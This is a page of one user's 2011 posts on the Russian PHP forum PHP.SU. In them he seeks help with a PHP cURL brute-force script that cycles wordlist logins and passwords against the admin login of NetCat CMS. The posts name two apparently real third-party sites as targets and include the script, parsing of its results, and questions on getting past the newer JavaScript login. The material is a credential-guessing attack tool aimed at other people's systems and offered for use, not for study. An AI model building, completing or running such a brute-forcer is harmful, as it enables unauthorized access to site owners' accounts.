PHP . SU
Программирование на PHP, MySQL и другие веб-технологии
Страниц (27): В начало « ... 15 16 17 18 [19] 20 21 22 23 ... » В конец
Найдено сообщений: 391
vlados
Отправлено: 01 Июля, 2011 - 06:59:17 • Тема: Кодировка • Форум: Кодировки и все смежное
Ответов: 10 Просмотров: 3848
altermann А если это скрипт? И много ссылок разных?
Вот таким способом я пытаюсь узнать кодировку и поменять ее, но не получается... В чем ошибка?
После работы скрипта получается Все пароли и логины заменены в разумных целях)
CODE (
html ):
скопировать код в буфер обмена
False*q - 0
False*q - 1
False*q - 2
False*q - 3
False*q - 4
True*q - 5
True*q - 6
True*q - 7
False*q - 8
True*q - 9
А должно получится:
Т,е. True означает, что пароль не верный, а False*, что пароль верный.
http://orlovskoe[dot]ru/netcat/admin/
http://eur[dot]rafmedia[dot]ru/netcat/admin/
Вот 2 сайта. Мне кажется, что неправильная работа скрипта вызвана тем, что кодировка разная у сайтов.
Я скачиваю страничку с помощью функции file_get_contents(), а потом ищу "Запомнить логин и пароль", если есть то пароль не верный, если нет, то пароль верный.
vlados
Отправлено: 30 Июня, 2011 - 19:09:23 • Тема: Кодировка • Форум: Кодировки и все смежное
Ответов: 10 Просмотров: 3848
Есть файл HTMl код полученный в результате скачки функцией file_get_contents(), но кодировка там не UTF-8, а какая-то другая, а может и UTF-8. Как преобразовать строку в кодировку UTF-8?
vlados
Отправлено: 30 Июня, 2011 - 15:53:45 • Тема: Помогите решить проблему. • Форум: JavaScript & VBScript
Ответов: 18 Просмотров: 3863
Как некоторые из вас знают я создавал брут для NetCat CMS 2.*. Эта версия старая, авторизация на HTML. Но вот я скачал версию 4.5, поставил на денвер, и увидел, что авторизация на JS.
Что теперь делать?
Можно ли как то обойти это?
Вот скрипт отвечающий за прием данных:
CODE (
javascript ):
скопировать код в буфер обмена
<script type = 'text/javascript' >
function authCheckFields ( ) {
var authForm = document.getElementById ( 'AUTH_FORM' ) ;
var login = document.getElementById ( 'AUTH_USER' ) ;
var pass = document.getElementById ( 'AUTH_PW' ) ;
switch ( true ) {
case ( login.value == '' && pass.value == '' ) :
alert ( 'Поля "Логин" и "Пароль" не могут быть пустыми!' ) ;
break ;
case ( login.value == '' ) :
alert ( 'Поле "Логин" не может быть пустым!' ) ;
break ;
default :
authForm.submit ( ) ;
}
}
</script>
Вот сама форма авторизации:
CODE (
html ):
скопировать код в буфер обмена
<form action = '/netcat/admin/' method = 'post' name = 'AUTH_FORM' id = 'AUTH_FORM' >
<input type = 'hidden' name = 'AuthPhase' value = '1' >
<table border = '0' cellpadding = '4' cellspacing = '0' id = "classical" style = "display:none;" >
<tr >
<td colspan = "2" class = "error" >
</ td >
</ tr >
<tr >
<td > Логин</ td >
<td ><input type = 'text' name = 'AUTH_USER' id = 'AUTH_USER' size = '32' maxlength = '255' value = '' ></ td >
</ tr >
<tr >
<td > Пароль</ td >
<td ><input type = 'password' name = 'AUTH_PW' id = 'AUTH_PW' size = '32' maxlength = '255' value = '' ></ td >
</ tr >
<tr >
<td > Язык</ td >
<td > <select name = 'NEW_AUTH_LANG' style = 'width:100%' ><option value = 'English' > English</ option >
<option value = 'Russian' selected> Russian</ option >
</ select ></ td >
</ tr >
<tr >
<td rowspan = '2' ><img src = '/netcat/admin/skins/default/img/i_netcat_big.gif' width = '32' height = '32' alt = 'NetCat' title = 'NetCat' / ></ td >
<td ><label ><input type = 'checkbox' name = 'loginsave' / > Запомнить логин и пароль</ label ></ td >
</ tr >
<tr >
<td >
<input type = 'submit' value = 'Авторизоваться' onclick = 'authCheckFields(); return false;' >
</ td >
</ tr >
</ table >
Что делать?
Момогите умы PHP.SU!
vlados
Отправлено: 30 Июня, 2011 - 12:11:40 • Тема: Помогите с циклами • Форум: Работа с сетью
Ответов: 7 Просмотров: 1552
OrmaJever карму обещанную тебе отдал.
(Добавление)
OrmaJever не пали блин правила!
vlados
Отправлено: 30 Июня, 2011 - 12:09:41 • Тема: Помогите с циклами • Форум: Работа с сетью
Ответов: 7 Просмотров: 1552
Vasiliya мне брут нафиг не нужен, он нужен прорабу . На netcat защиты от брута 0.
vlados
Отправлено: 30 Июня, 2011 - 12:05:33 • Тема: Помогите с циклами • Форум: Работа с сетью
Ответов: 7 Просмотров: 1552
OrmaJever не пишу я. А весь форум помогает
Может поможешь?
(Добавление)
OrmaJever много тем на создавал, т.к. раньше не писал на курл, не писал бруты.
vlados
Отправлено: 30 Июня, 2011 - 11:42:24 • Тема: Помогите с циклами • Форум: Работа с сетью
Ответов: 7 Просмотров: 1552
PHP:
скопировать код в буфер обмена
$b = file ( "loginplaspassword" ) ; foreach ( $a as $aline ) {
foreach ( $b as $bline ) $aline = trim ( $aline ) ; $bline = trim ( $bline ) ;
curl_setopt ( $curl , CURLOPT_POST
, "/netcat/admin/ HTTP/1.1" ) ; curl_setopt ( $curl , CURLOPT_USERAGENT
, "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" ) ; curl_setopt ( $curl , CURLOPT_COOKIE
, "sid=13d05b03e2bf33aa02badf93b4d57a54" ) ; curl_setopt ( $curl , CURLOPT_POSTFIELDS
, "AUTH_USER=$bline &NEW_AUTH_LANG=Russian&submit=%C0%E2%F 2%EE%F 0%E8%E7%EE%E2%E0%F 2%F C%F 1%F F&AuthPhase=1" ) ;
//admin&AUTH_PW=1234
$data = strpos ( $data , "support@netcat.ru" ) ; if ( $data == TRUE ) { echo 1 ; }
if ( $data == FALSE ) { echo "0<br />" ; }
}
Проблема в том, что в url три ссылки, а в loginplaspassword строк штук сто, как исправить, что бы правильно работал, т.е. брал одну ссылку, проходился по всем паролям, потом брал вторую ссылку и тоже проходился по паролям, и так пока не кончатся ссылки.
vlados
Отправлено: 30 Июня, 2011 - 11:25:58 • Тема: cURL • Форум: Прочее
Ответов: 13 Просмотров: 92
Вот нашел. Ftp не тормозит курл есть. Есть закос панели управления под cpanel.
Страниц (27): В начало « ... 15 16 17 18 [19] 20 21 22 23 ... » В конец
Powered by ExBB FM 1.0 RC1. InvisionExBB